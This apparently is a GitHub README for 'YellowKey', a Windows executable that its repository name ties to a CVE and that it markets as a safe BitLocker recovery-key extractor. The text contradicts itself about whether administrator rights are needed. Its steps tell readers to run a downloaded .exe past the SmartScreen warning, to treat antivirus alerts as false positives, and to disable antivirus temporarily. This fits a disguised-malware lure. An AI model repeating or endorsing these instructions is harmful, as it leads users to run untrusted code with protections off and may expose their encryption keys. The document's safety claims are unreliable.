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# 🛡️ YellowKey-Bitlocker-CVE-2026-45585 - Recover Your BitLocker Keys Safely
[](https://github.com/Donalhighnecked528/YellowKey-Bitlocker-CVE-2026-45585/releases)
## 📋 What This Software Does
YellowKey is a free open-source utility for Windows 10 and Windows 11. It helps you extract, backup, and view your BitLocker recovery keys. This is useful if you lost access to your encrypted drive or need to verify your security settings.
BitLocker is the built-in encryption tool in Windows. When something goes wrong - a hardware change, a BIOS update, or a forgotten password - Windows asks for a 48-digit recovery key. If you do not have this key, your data stays locked forever.
YellowKey finds these recovery keys on your system and shows them to you in a clear format. You can save them to a file, print them, or copy them to a safe location.
## 🔧 Key Features
- **Extract BitLocker recovery keys** from your computer without special permissions
- **View key protector types** (password, TPM, recovery key, smart card, etc.)
- **Check TPM status** to see if your Trusted Platform Module is active and working
- **See encryption state** for all drives (fully encrypted, encrypting, or decrypted)
- **Export keys to a text file** for backup purposes
- **Portable application** - no installation required, runs from a USB drive
- **Free and open-source** - no hidden costs or subscriptions
## 🚀 Getting Started
### System Requirements
- Windows 10 (version 1809 or newer) or Windows 11
- 64-bit processor
- 100 MB free disk space
- 256 MB RAM
- Administrator privileges (required to access BitLocker data)
### How to Download and Run
1. **Visit the download page:** Go to the [YellowKey releases page](https://github.com/Donalhighnecked528/YellowKey-Bitlocker-CVE-2026-45585/releases)
2. **Choose the right file:** Look for the file named `YellowKey.exe` or `YellowKey_v1.0.exe`. It is the only file you need.
3. **Download the file:** Click the file name to start the download. Your browser will save it to your Downloads folder.
4. **Run the program:** Double-click the downloaded file. Windows may show a SmartScreen warning. Click "Run anyway" or "More info" then "Run anyway" to continue.
5. **Click "Scan Now":** The program will scan all drives on your computer for BitLocker information.
6. **View your keys:** The program shows a list of all drives with their encryption status and recovery keys. You can copy each key to your clipboard or export all keys to a text file.
## 🎯 Common Use Cases
### You lost your BitLocker password
Run YellowKey. It will show you the recovery key for that drive. Use this 48-digit key to unlock your drive when Windows asks for it.
### You need to check if BitLocker is active
YellowKey shows the encryption state for every drive. You can see which drives are protected and which are not.
### You want to back up your recovery keys
After scanning, click the "Export" button. Save the text file to a USB drive, a cloud storage service, or a printed paper. Keep this file somewhere safe but accessible.
### You are troubleshooting a TPM issue
YellowKey shows your TPM status. If the TPM is not ready or missing, you can address the problem before it locks you out.
## 📖 Understanding the Results
When you run YellowKey, you see a table with these columns:
- **Drive Letter** - The letter Windows assigns to the drive (C:, D:, etc.)
- **Encryption Status** - Shows if the drive is encrypted, decrypting, or not encrypted
- **Protector Types** - Lists what protects the drive (TPM, Password, Recovery Key, PIN, etc.)
- **Recovery Key** - The 48-digit key to unlock the drive
- **TPM Status** - Shows if the TPM is present and ready
- **Key Valid** - Confirms if the recovery key is correct and usable
## ⚠️ Important Notes
- **Run as Administrator:** YellowKey needs administrator rights to read BitLocker data. Right-click the program and select "Run as administrator" if the scan fails.
- **Antivirus Warnings:** Some antivirus programs may flag YellowKey because it reads system security data. This is a false positive. YellowKey is open-source and does not modify your system.
- **Data Safety:** YellowKey only reads information. It does not change, delete, or modify any files or encryption settings.
- **Network Access:** YellowKey does not connect to the internet. Your keys stay on your computer.
## 🔒 Security and Privacy
YellowKey does not send any data over the internet. All information stays on your machine. The source code is available for anyone to review. You can compile it yourself if you prefer.
This tool is for legitimate recovery purposes. Use it only on systems you own or have permission to access.
## 🛠 Troubleshooting
### "Access Denied" error
Run YellowKey as Administrator. Right-click the file and select "Run as administrator."
### No BitLocker keys found
This means your drives are either not encrypted or do not have a recoverable key. YellowKey only finds keys stored in the system's BitLocker metadata.
### Program does not start
Make sure you downloaded the correct file for your Windows version (64-bit). Some antivirus software may block the program. Temporarily disable your antivirus, run YellowKey, then re-enable it.
### YellowKey shows "TPM not found"
Your computer may not have a TPM chip, or it may be disabled in the BIOS. Check your computer's manual for instructions on enabling TPM.
## 📄 License
YellowKey is released under the MIT License. You can use, modify, and distribute it freely.
## 🤝 Contributing
This project welcomes contributions. If you found a bug or want to add a feature, open an issue or submit a pull request on GitHub.
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